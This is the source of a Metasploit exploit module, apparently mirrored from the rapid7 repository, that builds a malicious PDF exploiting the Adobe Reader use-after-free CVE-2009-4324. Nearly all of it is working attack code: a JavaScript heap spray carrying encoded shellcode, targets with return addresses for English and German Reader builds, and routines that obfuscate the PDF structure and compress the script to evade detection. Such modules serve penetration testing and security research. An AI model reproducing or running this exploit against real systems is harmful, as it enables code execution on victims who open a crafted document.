Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
18
'Description' => %q{
19
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
20
Professional versions up to and including 9.2.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'unknown', # Found in the wild
25
# Metasploit version by:
26
'hdm',
27
'pusscat',
28
'jduck'
29
],
30
'References' => [
31
[ 'CVE', '2009-4324' ],
32
[ 'BID', '37331' ],
33
[ 'OSVDB', '60980' ]
34
],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'process',
37
'DisablePayloadHandler' => true
38
},
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => "\x00",
42
'DisableNops' => true
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
# test results (on Windows XP SP3)
47
# reader 6.0.1 - vulnerable / doesn't work
48
# reader 7.0.5 - untested
49
# reader 7.0.8 - untested
50
# reader 7.0.9 - vulnerable / doesn't work
51
# reader 7.1.0 - untested
52
# reader 7.1.1 - untested
53
# reader 8.0.0 - untested
54
# reader 8.1.1 - works
55
# reader 8.1.2 - untested
56
# reader 8.1.3 - untested
57
# reader 8.1.4 - untested
58
# reader 8.1.5 - untested
59
# reader 8.1.6 - untested
60
# reader 9.0.0 - untested
61
# reader 9.1.0 - works
62
# reader 9.2 - works (no debugger, no DEP)
63
[
64
'Adobe Reader Windows English (JS Heap Spray)',
65
{
66
'Size' => (0x10000 / 2),
67
'Ret' => 0x0c0c0c0c,
68
}
69
],
70
[
71
'Adobe Reader Windows German (JS Heap Spray)',
72
{
73
'Size' => (0x10000 / 2),
74
'Ret' => 0x0a0a0a0a,
75
}
76
],
77
],
78
'DisclosureDate' => '2009-12-14',
79
'DefaultTarget' => 0,
80
'Notes' => {
81
'Reliability' => UNKNOWN_RELIABILITY,
82
'Stability' => UNKNOWN_STABILITY,
83
'SideEffects' => UNKNOWN_SIDE_EFFECTS
84
}
85
)
86
)
87
88
register_options(
89
[
90
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
91
]
92
)
93
end
94
95
def exploit
96
# Encode the shellcode.
97
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
98
99
# Make some nops
100
nops = Rex::Text.to_unescape([target.ret].pack('V'))
101
102
# Randomize variables
103
#
104
len = 72
105
rand1 = rand_text_alpha(rand(100) + 1)
106
rand2 = rand_text_alpha(rand(100) + 1)
107
rand3 = rand_text_alpha(rand(100) + 1)
108
rand4 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
109
rand5 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
110
111
vtbuf = [target.ret].pack('V') * 4
112
vtbuf << rand_text_alpha(len - vtbuf.length)
113
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
114
retstring = Rex::Text.to_unescape(vtbuf)
115
116
# The printd strings are 72 bytes (??)
117
script = %Q|
118
var #{rand1} = unescape("#{shellcode}");
119
var #{rand2} = unescape("#{nops}");
120
var #{rand3} = unescape("#{retstring}");
121
122
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
123
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
124
125
memory=new Array();
126
127
for(i=0;i<0x2000;i++) {
128
memory[i]= #{rand2} + #{rand1};
129
}
130
131
util.printd("#{rand4}", new Date());
132
util.printd("#{rand5}", new Date());
133
try {this.media.newPlayer(null);} catch(e) {}
134
util.printd(#{rand3}, new Date());
135
|
136
137
# Create the pdf
138
pdf = make_pdf(script)
139
140
print_status("Creating '#{datastore['FILENAME']}' file...")
141
142
file_create(pdf)
143
end
144
145
def random_non_ascii_string(count)
146
result = ""
147
count.times do
148
result << (rand(128) + 128).chr
149
end
150
result
151
end
152
153
def io_def(id)
154
"%d 0 obj" % id
155
end
156
157
def io_ref(id)
158
"%d 0 R" % id
159
end
160
161
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
162
def n_obfu(str)
163
result = ""
164
str.scan(/./u) do |c|
165
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
166
result << "#%x" % c.unpack("C*")[0]
167
else
168
result << c
169
end
170
end
171
result
172
end
173
174
def ascii_hex_whitespace_encode(str)
175
result = ""
176
whitespace = ""
177
str.each_byte do |b|
178
result << whitespace << "%02x" % b
179
whitespace = " " * (rand(3) + 1)
180
end
181
result << ">"
182
end
183
184
def make_pdf(js)
185
xref = []
186
eol = "\x0d\x0a"
187
endobj = "endobj" << eol
188
189
pdf = "%PDF-1.5" << eol
190
pdf << "%" << random_non_ascii_string(4) << eol
191
xref << pdf.length
192
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
193
xref << pdf.length
194
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
195
xref << pdf.length
196
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
197
xref << pdf.length
198
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
199
xref << pdf.length
200
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
201
xref << pdf.length
202
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
203
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
204
pdf << "stream" << eol
205
pdf << compressed << eol
206
pdf << "endstream" << eol
207
pdf << endobj
208
xrefPosition = pdf.length
209
pdf << "xref" << eol
210
pdf << "0 %d" % (xref.length + 1) << eol
211
pdf << "0000000000 65535 f" << eol
212
xref.each do |index|
213
pdf << "%010d 00000 n" % index << eol
214
end
215
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
216
pdf << "startxref" << eol
217
pdf << xrefPosition.to_s() << eol
218
pdf << "%%EOF" << eol
219
end
220
end
221
222